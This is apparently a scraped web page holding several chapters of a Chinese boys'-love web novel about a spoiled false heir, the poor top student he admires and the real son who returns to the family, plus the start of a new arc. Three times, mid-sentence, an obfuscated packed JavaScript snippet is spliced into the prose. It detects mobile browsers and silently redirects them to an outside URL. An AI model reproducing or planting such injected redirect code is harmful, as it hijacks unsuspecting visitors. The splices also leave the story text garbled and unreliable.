他对交流会上的分享兴趣不大,来这儿主要是为了完成系统新任务——“结识三位不同家族的修真者”。 正低头琢磨怎么开口,就有几个年轻人主动走了过来。 “你就是顾棠吧?”戴眼镜的男生满脸崇拜,“听说你年纪轻轻就到了金丹后期,还教会了韩少快速突破,太厉害了!”顾棠愣了一下,礼貌笑了笑:“运气好而已。” 接下来的半个多小时,顾棠顺利结识了三位不同家族的修真者,刚完成任务准备起身,就看到秦寅端着东西信步走过来。 托盘上放着好几杯灵茶和一碟精致的桂花糕,显然是怕他不够吃…顾棠感到很奇怪,在这人眼中,他竟然是个这么贪吃的人吗? 虽然说他现在是不怎么在意外人的眼光,但是在这么多人的一个宴会上大快朵颐…他做不到。 “棠棠,灵茶还热着,快尝尝。”秦寅把一杯温度适宜的灵茶递到他面前,眼神里带着不易察觉的紧张,生怕他不喜欢。 顾棠拿起灵茶喝了一口,温润的灵力顺着喉咙滑下很舒服。 “谢谢。”他抬头对秦寅笑了笑,眸子微微弯起。 那神情虽然是在笑,但却透着几分疏离和礼貌,有些不冷不淡,就像是对陌生人一样。 秦寅有些失落,这时候突然听见一旁的韩一叙闷闷的在喉咙里笑了两声,似乎是在嘲笑他,立马怒视过去狠狠瞪了对方一眼。 交流会中途,一个醉醺醺的富家子弟认出了顾棠,带着挑衅走过来。 “你就是那个靠韩家上位的顾棠?没背景没家世,全靠运气才走到今天吧?” 顾棠眉头微蹙刚想开口,秦寅就上前一步挡在他身前,眼神冰冷:“说话注意点,顾棠的实力有目共睹,轮不到你在这里大放厥词。” 韩一叙也立刻站到顾棠身边,语气不善:“赶紧道歉,不然别怪我不客气。” 那富家子弟被两人的气场震慑住,酒也醒了大半,嘟囔着“随口说说”就灰溜溜沿着墙边一路小跑,竟然是半分看不出喝醉的意思了。 “没事吧?”秦寅转头看向顾棠,语气瞬间柔和。 韩一叙也连忙问道:“棠棠,别往心里去,这种人就是嫉妒你。” 顾棠摇摇头,“我没事。” 有了修为傍身后,他的心理承受能力不知比以前强了多少倍,看到修为不如自己的人对自己出言不逊都可以做到面不改色了。 交流会结束后,秦寅主动提出送顾棠回去:“我开车了,顺路。” 韩一叙在身后拉住他的衣袖,“我也开车了,棠棠坐我的车,你在我那儿住,坐别人的车回去像什么话嘛…” 两人对视一眼,空气中仿佛飘着无形的火花。顾棠被夹在中间有些莫名其妙。 “这有什么好争的?一起回去不就行了。” 两人对视一眼,犹豫了好半天才异口同声,“好吧…” 一路上,车里气氛有些微妙。秦寅专注开车,时不时通过后视镜看一眼后座的顾棠,韩一叙则找各种话题搭话,从修炼心得说到京城美食,滔滔不绝。 顾棠偶尔回应两句,大多时候都在闭目养神,实则在查看系统面板的修为进度。 到了韩一叙的住处外面,秦寅在门口徘徊了半天都不愿意离去,眼巴巴的望着肩并肩走着的两人。 顾棠回头看了他一眼,冲他挥了挥手,韩一叙则笑眯眯的握住他在半空挥动着的那只手拉进自己怀里。 “棠棠,你看你,手都冻着了…” 17. 人傻钱多的花瓶假少爷(上) 顾棠最近喜欢上了学校里那个常年年级第一的贫困生。 他也不知道自己是怎么了,明明这18年以来从没喜欢过人,和人相处也从来没有过那种扑通扑通心跳的感觉。 自从那天逃课从墙头掉下来被对方接住之后,他就跟中了邪似的喜欢上了对方,不仅把一头耀眼的金色头发染回了黑色,还为了和对方同班拼了命的学习。 要说小少爷还是有水平的,努力了不到三个月就成功在期末考试取得了很高的名次,如愿以偿的被分到了重点班,又经历了好几天的软磨硬泡,班主任终于允许他下学期开学就和裴景轩做同桌了。 他们现在是读高二,是高考前的最后一个暑假。 对于顾棠这种家境优渥的孩子来说,放假兼职什么的是根本不可能的,他不天天和圈子里那群狐朋狗友在外面嗨到天亮就已经算是乖孩子了。 但是裴景轩的处境却和他完全相反。 如果他们生活的是一个小说世界的话,顾棠觉得那个少年就像是悲情文里的男主角一样,惊才绝艳,清冷孤傲,却又不得不为了生计被迫向社会低头。 裴景轩是个孤儿,16岁被福利院赶出来开始自力更生,少年很刻苦,从小到大成绩一直名列前茅,但可能是因为性格原因,他从小到大都没什么朋友,会进入这所学校也是因为能额外得到一笔助学金,不然凭他的成绩上省里最好的高中也是绰绰有余。 顾棠喜欢他身上那种坚韧不拔的劲儿,但同时也心疼他这么多年生活的不容易,这不,好不容易放了假,就想着能稍微帮一帮对方,一大早就穿戴好出了门,直奔裴景轩打暑假工的那家咖啡馆。 顾棠是被全家宠着长大的,不懂什么叫委婉,有时候做事情也不会考虑到别人的自尊心,就算暗恋上某个人这种性格也不会收敛,换到别人身上,很容易就会被当成羞辱,但他偏偏又长了一张天生就不会让人产生厌恶的漂亮脸蛋。 金发的时候他在学校里就很受欢迎,桌洞里每天都有不下10封情书,但小少爷从来都只把那些粉红色的纸当做炫耀的资本,从来没想着自己真的会和某人谈恋爱。 头发染回黑色后,他桌洞里的情书少了一大半,顾棠对此说毫不在意是假的,但想着自己暗恋的人就是一头黑发,还是强忍下心里那点小躁动,保持着这个发色。 走进咖啡馆,找了个最显眼的位置坐下,顾棠拿起桌上的菜单装模作样的看了半天,偷偷寻找着那个熟悉的身影,直到眼前站了个人才回过神来。 裴景轩愣愣的看着眼前一身休闲装的少年,训练过很久的得体笑容僵在脸上,眼神有些复杂,又有些莫名的羞愧。 这家咖啡馆很偏,离他们的学校有些路程,他选这家偏远的咖啡馆打工,就是为了避开认识的人,尤其是不想让顾棠看到他为生计奔波的样子,可他万万没想到,顾棠会出现在这里,还坐在最显眼的位置。 顾棠…这个名字他曾经在心里念叨了无数遍,少年就像一道光照进了他灰暗的生活里。 最开始注意到对方只是因为那张过于昳丽的漂亮脸庞,他像只只能活在阴影里的老鼠,默默关注着对方的一举一动,但是碍于自卑,从来没敢上前和这少年搭过话,直到两个多月以前的那天。 他还清晰地记得,顾棠爬上学校的栅栏,差一步就要翻过去了,却脚上一滑不小心跌下,被眼疾手快的他一把抱进了怀里。 那天他原本是要去校门口抓迟到的学生的,一早便注意到了沿着墙一路小跑过来的顾棠,手里的笔一直在小本子上记着名字,余光却一直关注着顾棠,所以才能那么及时的接住顾棠。 顾棠心里咯噔一下,连忙收回目光,假装认真研究菜单,耳根却不受控制地红了。 “先生,请问要点些什么?”裴景轩的声音带着点不易察觉的紧绷,走到桌前时,刻意避开了顾棠的视线,只盯着菜单。 顾棠抬起头,看着他略显局促的样子,心里莫名觉得有点…奇怪。对,就是奇怪。 在他的印象里,裴景轩永远都是那副不冷不淡的样子,似乎世界上所有的一切都没法让他产生动摇,顾棠觉得那样的他很酷,而自己不管再怎么努力保持着面无表情都会给人一种假装严肃的感觉。 所以顾棠才会上了高中就染了一头耀眼的红发,就是想要找点东西压住自己这张一点都不酷的脸,没想到收到的情书比初中更多了,而且偏男性化的名字几乎占了一大半…这点让他苦恼了好久。 “你推荐的都好。”他脱口而出,说完又觉得太直白,补充道,“就……一杯拿铁,一份草莓蛋糕吧。” “好的,请稍等。”裴景轩飞快记下订单,转身就要走,手腕却被顾棠轻轻拉住了。 少年的指尖温热柔软,像羽毛似的蹭过皮肤,让裴景轩的心跳瞬间漏了一拍。 “你在这里打工多久了?”顾棠的声音放得很轻,带着点小心翼翼的试探,“每天都要忙到很晚吗?” 裴景轩喉结滚动了一下,挣开他的手时动作很轻,生怕伤到他。 “暑假刚开始就来了,”他的声音低沉,“一般到下午六点。” “那岂不是很辛苦?”顾棠皱起眉,眼底的心疼毫不掩饰。 他从小被捧在手心,从来不知道为钱发愁,一想到裴景轩要一边兼顾学业,一边打工赚钱,就觉得心里闷闷的。 裴景轩抿起唇,轻轻摇了摇头,没再多说,转身快步走进吧台。 他不敢再看顾棠的眼睛,那里面纯粹的关切像一束光,照得他那些小心翼翼隐藏的窘迫无所遁形。 顾棠支着下巴看着他忙碌的背影,嘴角忍不住微微上扬。 接下来的日子,他成了这家咖啡馆的常客,每天准时报道,吃遍了这家咖啡馆的所有甜品。 裴景轩从最初的慌乱,渐渐变得习惯,偶尔会在空闲时过来坐一会儿,听顾棠絮絮叨叨地说学校的趣事,说自己学习时遇到的难题。 大多时候都是顾棠在说,裴景轩在听,偶尔回应几句。 顾棠喜欢这种被专注对待的感觉,喜欢看裴景轩认真听他说话的样子,这种喜欢带着点少年人特有的冲动和新鲜,虽然浅薄,却足够炙热。 而顾棠每天都在咖啡馆找自己的举动,让裴景轩心里产生一点想法,比如…顾棠会不会也是有点喜欢他的? 单单只是想到这种可能性他就忍不住心跳加速。从小到大,他从来没这么在意过别人,唯一都是相处过的也只是从前在福利院里那几个同龄的小男孩。 从福利院出来的那年,他搬到了一个老旧小区,和一个叫林屿的少年成了邻居,对方比他大了两个月,也是在同年被赶出福利院的。 只是两人从小就不对付,林屿性子桀骜,打架厉害,学习也拔尖,总是带着股不服输的狠劲;而裴景轩清冷内敛,心思缜密,靠着一股韧劲在学业上稳压林屿一头,两人明里暗里较劲了这么多年,关系一直很僵。 裴景轩住的地方很偏,楼道昏暗,墙壁斑驳,和顾棠熟悉的豪华别墅有着天壤之别。 “你就住在这里?”第一次跟着裴景轩走进楼道时,顾棠的声音里满是惊讶。 裴景轩点点头,神色平静:“这里房租便宜。” 顾棠看着他单薄的背影,心里涌起一股复杂的情绪。 他想邀请裴景轩去家里做客,想让他住得好一点,却又怕伤害到对方的自尊心,话到嘴边终究还是咽了回去。 这样的日子持续了半个多月,顾棠对裴景轩的了解越来越深,怎么窥探对方生活的那种兴趣就不怎么浓烈了。 大抵是因为裴景轩按部就班的生活方式太过无趣,虽然总是会心疼对方,但顾棠又怕对方不领情,这种纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479742|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结的心态持续了几天,让顾棠有些烦躁。 直到那天顾棠放学回家,推开家门时,看到了客厅里的陌生人。 林屿站在那里,穿着简单的T恤牛仔裤,身形挺拔,眉眼间和顾父有几分相似。 他的眼神桀骜不驯,带着股生人勿近的戾气,却在看到顾棠的瞬间,瞳孔微微收缩,眼底掠过一丝复杂难辨的情绪。 顾棠愣住了,下意识地看向顾父顾母,他们的脸色很难看,带着明显的疲惫和为难。 “棠棠,你回来了。”顾母的声音有些干涩,想伸手摸摸他的头,却被顾棠下意识地躲开了。 顾父叹了口气,沉声道:“棠棠,有件事要告诉你,你……不是我们的亲生儿子。当年医院抱错了,他才是我们真正的儿子,林屿。” “轰”的一声,顾棠的大脑瞬间一片空白,他难以置信地看着顾父,又看向林屿,嘴唇颤抖着,却发不出任何声音。 他怎么会不是爸妈的孩子?他在这个家里住了十八年,被宠了十八年,怎么会是抱错的? “不可能……”过了好久,他才找回自己的声音,带着浓浓的鼻音,眼眶瞬间红了。 他不敢相信这是真的,可看着顾父顾母愧疚的眼神,看着林屿那与顾父相似的眉眼,他又不得不信。 林屿站在原地,目光紧紧锁在顾棠身上,那眼神很深沉,似乎带着一股势在必得,却被他很好地隐藏在眼底,表面上看不出任何波澜。 他早就知道顾棠,不仅是因为两人同班,更因为他曾给顾棠写过情书,却被对方随手扔进了垃圾桶。 那时候他还只是觉得可惜,没想到命运会给他这样的“机会”——他找到了亲生父母,以这样特殊的身份来到了顾家。 顾棠的眼泪在眼眶里打转,却强忍着没掉下来。 他从小就依赖父母,就算再生气再委屈,也从来不会对他们大喊大叫,他只是觉得心里像被什么东西堵住了,又闷又痛,只能死死咬着嘴唇,不让自己哭出声。 “棠棠,你别难过,”顾母红了眼眶,“不管怎么样,我们养了你十八年,你永远是我们的孩子。” 顾棠摇摇头,没说话,只是转身跑进了自己的房间,轻轻带上了门,他蜷缩在床角,抱着膝盖,眼泪终于忍不住掉了下来。 他想起小时候爸妈抱着他去游乐园,想起生日时收到的堆满房间的礼物,想起自己闯祸后爸妈总是护着他……这些曾经让他习以为常的幸福,现在都变成了刺,扎得他生疼。 他不是顾家的小少爷了,只是一个占了别人身份十八年的陌生人。 那林屿呢?他这些年过得好不好?一想到自己享受了本该属于林屿的人生,顾棠心里就充满了愧疚,可转念一想,如果林屿没有被找到,他现在依然是那个无忧无虑的顾家小少爷,这种矛盾的情绪让他更加痛苦。 不知道哭了多久,顾棠擦干眼泪,收拾了一个小小的行李箱。 他不想待在家里,不想面对父母愧疚的眼神,更不想面对林屿,他不知道自己该去哪里,脑海里第一个冒出来的,竟然是裴景轩的名字。 他拖着行李箱,悄悄走出家门,顾父顾母正在客厅里和林屿说话,没有注意到他。 走出别墅大门的那一刻,顾棠回头看了一眼,心里五味杂陈。 这是他住了十八年的家,现在却觉得无比陌生。 他没有动车库里的车,所以那些都是顾父顾母这些年里陆续买给他的,但不管怎么说也是顾家的资产,他刚知道自己不是顾家的孩子,要是现在开走一辆也太不要脸了。 在路边拦了一辆出租车,报了裴景轩住的小区地址,坐在车里,顾棠看着窗外飞速倒退的风景,眼泪又忍不住掉了下来。 出租车停在老旧小区门口,顾棠付了钱,拖着行李箱站在昏暗的楼道口,心里有些犹豫。 18. 人傻钱多的花瓶假少爷(下) 他不知道裴景轩会不会让他进去,也不知道自己这样贸然前来是不是太唐突了。 裴景轩下班回来看到站在门口的顾棠,还有他手里的行李箱以及他红肿的眼睛,脸色瞬间变了,快步走了过来。 “你怎么了?”他的声音里满是担忧,伸手想碰顾棠的脸,又怕冒犯到他,“别哭,是不是出什么事了?” 被裴景轩一问,顾棠的委屈瞬间决堤,眼泪掉得更凶了,他吸了吸鼻子,声音哽咽得不成样子。 “裴景轩,我…我没有家了。” 裴景轩的心猛地一揪,看着眼前哭得像只受伤小动物的少年,心疼得不行。 他犹豫了一下,还是伸出手,轻轻拍了拍顾棠的后背,柔声安慰。 “别难过,有我在。”他顿了顿,“如果你不嫌弃,就先住我这里吧。” 顾棠抬起泪眼朦胧的脸,看着他,问出的问题却不怎么礼貌,这是他固有的思维方式,并不会因为身份的转变而快速随之变化。 “可是……你的房子会不会太小了?” “不会,”裴景轩对他也是有所了解了,并不会被他这一句两句话伤到,“我住的是两室一厅,有一间空房,你可以住。” 其实他住的只是一室一厅的小房子,所谓的“空房”,不过是堆满杂物的储藏室,但他实在不忍心让顾棠一个人在外流浪,只能撒了个小谎。 他已经做好了决定,一会就去把那间储物室收拾出来自己住,把主卧留给顾棠,怎么着也得先熬过这晚再说,如果顾棠住不惯的话,他明天可以把顾棠送去附近的星级酒店里去。 他最近又攒了点钱,一个人住的时候完全没有换房子的想法,这回家里又多了一个顾棠,他有心想把房子换了,但是又不知道顾棠到时候要还愿不愿意跟他一起住。 顾棠没有怀疑,点了点头,跟着裴景轩走进了楼道。 房子很小,装修简单,却收拾得一尘不染,客厅里放着一张小小的沙发和一个旧书架,书架上摆满了书,大多是学习资料和炒股相关的书籍。 “你先坐一会儿,我去给你收拾房间。”裴景轩把行李箱放在客厅,转身走进了储藏室。 顾棠坐在沙发上,环顾着这个小小的屋子,心里渐渐平静了一些。 这里没有家里豪华,却让他感受到了一丝踏实。 他拿起书架上一本炒股的书,翻开一看,里面密密麻麻地写满了笔记,字迹工整清秀。他没想到裴景轩还懂炒股,而且看起来很专业的样子。 其实裴景轩很早就发现了自己在炒股方面的天赋,这个暑假,除了在咖啡馆打工,他还利用空闲时间在股市里赚了一笔小钱。 原本是想攒点钱当上大学的学费,不过现在看来,这笔钱刚好能让顾棠住得舒服一些,裴景轩也很愿意这样做。 没过多久,裴景轩从主卧走了出来,额头上带着薄汗。 “收拾好了,你先看看合不合适。” 他把主卧能换的东西都换了,床单被罩都是新的,书桌上也整理的一尘不染,但是在他心里,这个小房子就是算再大两三倍也配不上顾棠,心里那种要换房子的决心更坚定了。 顾棠走进房间,里面确实很小,只能放下一张单人床和一个小书桌,但收拾得很干净,床上还铺着崭新的床单被套。 “谢谢你,裴景轩。”他转过身看着裴景轩,眼底带着感激和窘迫,眼眶还有点儿红,似乎还没从刚才的刺激中缓过神来。 “不用客气。”裴景轩笑了笑,“你饿不饿?我去给你做点吃的。” 顾棠点了点头,他从下午到现在,什么都没吃,刚才没被提醒还没感觉,一经提醒,他才感受到胃部的微弱灼痛感。 裴景轩走进厨房忙碌起来,顾棠坐在客厅里,看着他的背影,心里暖暖的。 他想起自己以前对裴景轩的喜欢,确实带着几分一时兴起的新鲜,可现在,裴景轩实在是对他很好了,甚至让他忍不住有点想依赖对方… 顾棠想着,自己只在这里住一晚吧,明天就跟裴景轩一样到周围找个兼职干,反正他这段时间是不会再回顾家了,他实在难以面对那个流落在外18年的林屿。 很快,裴景轩端着两碗面条走了出来,面条很简单,只有青菜和鸡蛋,却是顾棠这几天吃的最香的一顿饭。 裴景轩坐在对面,看着他狼吞虎咽的样子,眼神温柔得能滴出水来。 他知道顾棠以前的生活有多优渥,能让他不嫌弃这里的简陋,还吃得这么香,裴景轩的心里很不好受,又有点高兴。 吃完面条,顾棠洗漱完就回房休息了。躺在床上,他翻来覆去睡不着,脑海里全是今天发生的事情。 他想起父母的脸,想起林屿深不见底的眼神,想起自己十八年的人生,心里依旧乱成一团。 手机响了,是顾母打来的。顾棠犹豫了一下还是接了。 “棠棠,你在哪里?快回来好不好?爸妈很担心你。”顾母的声音带着哭腔。 顾棠咬着唇,眼泪又掉了下来。 “我不回去了,妈。”他的声音很轻,带着浓浓的委屈。 “棠棠,你别这样,”顾母急得不行,“不管你是不是我们的亲生儿子,我们对你的感情都是真的。林屿也很担心你,他刚才还说要出去找你。” 提到林屿,顾棠的心里就一阵复杂。他知道林屿没有错,错的是命运。 “我知道了,妈。” 他挂了电话,把手机扔到一边,蜷缩在被子里无声地哭了起来。 而顾家客厅里,林屿看着顾母挂断电话,脸上没什么表情,眼底却掠过一丝阴鸷。 他知道顾棠去了哪里,裴景轩那个家伙,肯定会趁虚而入,最近他就注意到了这两人走的很近。 他和裴景轩从小就在一个福利院长大,又做了这么多年邻居,太了解对方的性子了,表面上清冷温和,骨子里却比谁都执拗。 顾父看着林屿的样子,忍不住说道,“小屿,你别担心,棠棠只是一时想不开,等他冷静下来就会回来了。” 林屿点了点头,没说话,心里却已经有了主意。 他一定会让顾棠回来的。 虽然和顾棠一个班已经一年多了,但他总共和对方搭上话的机会也不超过20次,顾棠身边总是围满了人,而林屿的性格又不是那种好相与的,顾棠自然很少注意到他。 以前他总想着自己也没什么本事,在学校混混日子就算了,谈恋爱什么的等考上大学了再者说,就算他真敢表白,顾棠又真的答应他了,他也不想自己的存在给顾棠带来负担和同学们的嘲笑。 现在,他成了顾棠名义上的哥哥,这个身份对他来说就是一个很好的掩饰,他可以毫无顾忌的打着关心弟弟的名号赶走顾棠身边的人,把顾棠带回家。 第二天一早,顾棠是被厨房传来的动静吵醒的,他走出房间,看到裴景轩正在做早餐,阳光透过窗户洒在他身上,镀上了一层柔和的光晕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479743|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“醒了?快过来吃早餐。”裴景轩回头对他笑了笑。 桌上摆着牛奶、面包和煎蛋,煎蛋还是溏心的,金黄的颜色摆在盘子里十分漂亮。 顾棠回了他一个灿烂的笑容,走到他对面坐下,拿起面包慢慢吃了起来。 经过一夜的休息,他的情绪好了很多,只是话变少了很多。 “今天没什么事的话,就在家里看看书吧,在周围转转也可以,门口给你留了钱,中午记得吃饭…我去兼职,晚上回来再给你做晚饭。” 裴景轩走后,家里只剩下顾棠一个人。 他坐在沙发上,拿起昨天看的炒股书,慢慢翻了起来。不知不觉间,一上午就过去了。 中午的时候,门铃响了。顾棠以为是裴景轩回来了,跑去开门,看到的却是林屿。 他的心里咯噔一下,下意识地想关门,却被林屿挡住了。 “我来看看你。”林屿的声音很平静,眼神落在顾棠身上,透着一种单纯的关心。 顾棠没说话,侧身让他进来。 林屿走进屋里,环顾了一圈,嘴角勾起,“裴景轩就住这种地方?你在这里能住习惯?” “挺好的。”顾棠的声音很淡,走到沙发边坐下,刻意和他保持距离。 林屿在他对面坐下,目光一直落在他身上,看得顾棠很不自在。 “我知道你心里不舒服,”林屿的声音很轻,“但这不是任何人的错。” 顾棠低着头,没说话。 他不知道该怎么面对林屿,愧疚、尴尬、还有一丝莫名的敌意,交织在一起,让他不知所措。 “你要是不想待在这里,就跟我回去,家里的房间还留着你的东西,爸妈也很想你。” “我不回去。”他拒绝的斩钉截铁。 林屿看着他,没再劝说,只是静静地坐着,目光一直锁在顾棠身上,那眼神里的偏执和占有欲,像一张无形的网,将顾棠笼罩其中,却又让他无从察觉。 就在这时,裴景轩回来了,看到林屿,他的眼神瞬间冷了下来,走到顾棠身边,下意识地将他护在身后。 “你怎么来了?”他的声音带着明显的警惕。 林屿抬眼看他,嘴角勾起一抹冷笑,“我来看我弟弟,不行吗?” “顾棠现在不想回去,”裴景轩的语气是前所未有的强硬,“请你离开。” “我走不走不是你能决定的。”林屿看着裴景轩,眼底闪过一丝挑衅。 他和裴景轩斗了这么多年,只有在成绩上一直被对方压了一头,别的方面他可是从来没输过。 顾棠看着两人之间剑拔弩张的气氛,忍不住开口劝道。 “你们别这样!林屿,你先回去吧,我想一个人静静,过几天就会回去。” 林屿看了顾棠一眼,见他神色坚定,终究还是站起身,“我会再来的。” 说完,他深深地看了顾棠一眼,转身离开了。 林屿走后,屋里的气氛才缓和下来。 裴景轩看着顾棠,眼神里满是担忧,“你别在意他的话,不想回去就不回去,只要你不嫌弃,这里永远欢迎你。” 顾棠承认自己有点被感动到了。 就算是普通朋友都不一定能做到这一步,裴景轩却愿意让自己暂时住在家里…他可真是个好人,等自己找到赚钱的工作后一定要好好报答他。 可能是因为寄人篱下的缘故,他对和裴景轩谈恋爱的心思变淡了,反而更倾向当朋友相处。 19. 落魄主角攻被迫吃软饭(上) 傍晚的街角像被城市遗忘的地方,风把霓虹吹得发皱。 周光轶提着便利店塑料袋,踩着碎裂的灯影,路过巷口忽然听见一声极轻的乞求,像枯叶擦过水泥地,沙哑又脆弱。 “先生,能不能……能不能给点吃的……”那声音在发抖。 周光轶循声低头,看见一团灰扑扑的影子缩在墙角,路灯从他乱发间漏下,像给他镀了层柔光。 他抬眼的一瞬,眸中似是盛着破碎都的水光,却又硬撑着不肯落下。 周光轶蹲下去,随着他动作,塑料袋发出窸窣的脆响。 “好,我去给你买吃的,你在这里等我一下。” 周光轶从来都不是爱管闲事的人,但是不知道为什么,看着墙角缩着的那名少年,他头一次产生了心软这种情绪。 夜市的白炽灯一盏接一盏亮起,灯光给这条街道增添了几分烟火气,显得没那么冷清了。 周光轶挤在队伍里,耳边是呲呲的油泡炸裂声响,手上利落的扫码付了钱,脑海中却不断回想刚才那双眼睛。 像是不小心落入猎人陷阱的幼兽,无力反抗,只能向路过的行人祈求帮助,却一次又一次的失望,眼神几近绝望,却又在他答应下来那一刻焕发出耀眼的色彩。 纸袋在掌心发烫。 周光轶回来时,少年仍保持着原来的姿势,背脊弯曲,像一张拉满的弓,仿佛任何风吹草动都会让他断掉。 他把热包子递过去,少年竟先缩了手,像是怕自己的脏会惹他厌烦。 “给,吃吧。” 蒸汽扑在少年稚气未脱的脸上,成了又一层泪。 他咬得太狠,腮边沾了一点酱汁,眼中含着两泡泪,隐约间还能听到喉咙里传来的呜咽声,周光轶这才意识到原来对方哭了。 他垂眼,看见那少年腕骨嶙峋,看着一副营养不良的样子,似乎很长一段时间都没有好好吃过饭了。 对方看着不过十七八岁,在普通人家应该正是被宠着惯着的年纪,怎么会一个人流落街头,连顿饱饭都吃不上呢? “慢点吃,别噎着了。” 周光轶抽出纸巾帮他擦去了腮边的酱汁,他乖乖抬起脸,尖尖的下巴上没有一丝赘肉,光是把指尖贴在上面,周光轶就能感受到他突出的下颌线——完全是瘦出来的。 “您…您真是个好人……” 好人。 这两个字普普通通,落在周光轶耳里却生疼。 少年吃完最后一口,低着头攥进塑料袋,不知想到了什么,眼眶又慢慢红了,周光轶看着有些不忍心,以为他是没吃饱,忍不住开口,“不够我再去给你买。” 少年猛地抬头,刘海被汗水打湿,可怜兮兮的黏在额前,两只眼睛又大又圆,瘦的有些脱相。那目光莫名让周光轶想到儿时养过的那只流浪猫。 “真的很感谢您…没有您我都不知道该怎么办了…” 周光轶承受不住他感激的目光,像是在掩饰自己的无措,抬手揉了揉他的头发。 入手是柔软的触感,但比想象中更冷,冰的他手心似乎都隐隐发疼。 “没事,以后有什么困难都可以来找我。”话音落下,他忽然被抓住衣角,少年的指节发白,力度却轻得像片羽毛。 “能…能再帮我一次吗?我……今晚没地方住……” 如果要换做其他人,周光轶肯定转身就走,还要暗自懊悔自己太心善,竟然会真的相信现在还有人无家可归甚至吃不上饱饭,但是对面的少年目光中的期待对他来说太过炙热,让他没办法置之不理。 周光轶低头,看见自己映在那少年瞳仁里的剪影,被泪泡得发颤,那一瞬,他似乎听见胸腔某处传来冰层破碎的声响。 “那行,你先跟我走吧。” 少年怔住,泪又涌上来,却不敢眨眼,仿佛一眨眼梦就会醒,周光轶也慌乱的转身,少年跟在他身后,影子被路灯拉得极长,脚步踉踉跄跄的,始终保持着两三步的距离。 夜风吹过高楼之间的缝隙,发出嗡嗡的声响,周光轶忍不住回头问他:“你在那里待多久了?一直都没有地方住吗?” 少年停住,脚尖并在一起,像做错事的孩子,“我……我没有家了,父母都走了…” 风忽然停了,他听见自己心脏在耳膜里敲了一下,声音沉闷而厚重。 “那你想住我家吗?” 少年猛地抬头,眼里绽放出惊喜的光芒,转瞬又暗下去,只剩下小心翼翼。 “真的吗?我…我不会给您添麻烦的…我可以做家务!您让我做什么都行…” 那一刻,周光轶想到自己空荡的公寓,冰箱里过期的速冻水饺和一年也不曾开过几次火的灶台。 他嗯了一声,继续走,少年亦步亦趋的跟在后面,始终保持着几步的距离,模样谨慎,看着就让人心疼。 电梯上升时,金属壁映出我们两个扭曲的剪影:一个穿着笔挺的西装,端正的站着;一个微微弯着腰,瘦弱的身体被包裹在一件灰扑扑的外套里,低头盯着自己的脚尖发呆。 “我会不会弄脏您家…”少年有太多的顾虑,他愿意相信世间有善意,但是接受别人的善意对他来说却不是那么容易的。 一个人不会无缘无故的对一个陌生人好,少年也不知道自己这个决定是对还是错,但是没办法,他已经没有别的路可以选择了。 周光轶打开门,橙黄的灯光像潮水般涌出,少年往后退了半步,似乎不适应眼前柔和的灯光,周光轶按住他的肩膀推着他进了门,然后关门落锁,一气呵成。 “没关系,先洗个澡吧。” 他站在浴室门口,苍白的指尖不知何时捏了几张零钱,有一块的,也有5块的。 “这是我最后的钱了,我知道远远不够,但是请你收下吧…我以后一定会报答你的!” 少年以前家境一定很好,最起码也是那种从来不用向外人弯腰的程度,但是如今被生活逼迫,还是被迫向他低了头。 那一刻,周光轶不知道心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479744|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里是什么滋味,只觉得胸口堵的厉害。 他人生的前24年虽然也不是一帆风顺的,但像今天这么郁闷的感觉还是头一次有,想到这少年吃过的苦,他竟然比自己受苦还要痛心。 周光轶推少年进了浴室,掌心碰到他腕骨,细得仿佛一折就断,门合上前,少年小声道,“你也早点休息…” 他轻轻“嗯”了一声,把门从外面合上,亲耳听到门里传来落锁的声音,然后水声响起,才松了口气,去卧室翻找起合适少年身形的睡衣。 浴室门开了一条缝,热气裹着沐浴露的柠檬香涌出来,少年湿漉漉的眼睛在雾气里像两颗被水汽拥簇着的晶莹宝石。 “我能帮你做些什么吗?” “不用,先洗澡吧。” 门又合上,却传来他闷闷的追问:“你为什么对我这么好?” 周光轶背过身,指尖在睡衣袖口摩挲,不知想起了什么,轻声道,“也许是因为我能懂你的感受吧。” 水声戛然而止。 半晌,少年犹豫着开口,“谢谢你…”声音复又低下去,“你很温暖,和我之前遇到的所有人都不一样。” 周光轶摸了摸牛奶盒子温热的边缘,倒出大半杯牛奶,白色液体在玻璃杯里打转。 少年穿着一身宽大的睡衣从浴室里走出,头发呈现半干状态,露在外面的皮肤看上去柔软又光滑,在灯光下更加晃眼。 “您一个人住吗?” 他“嗯”了一声,把杯子递给少年,指尖不小心相碰,感受到少年比牛奶还烫的肌肤。 两人同时缩回了手,讪讪的不好意思。 周光轶注意到了少年通红的耳尖,也不只是刚才被浴室里蒸腾的水汽热到了还是因为害羞…肯定是前者吧。 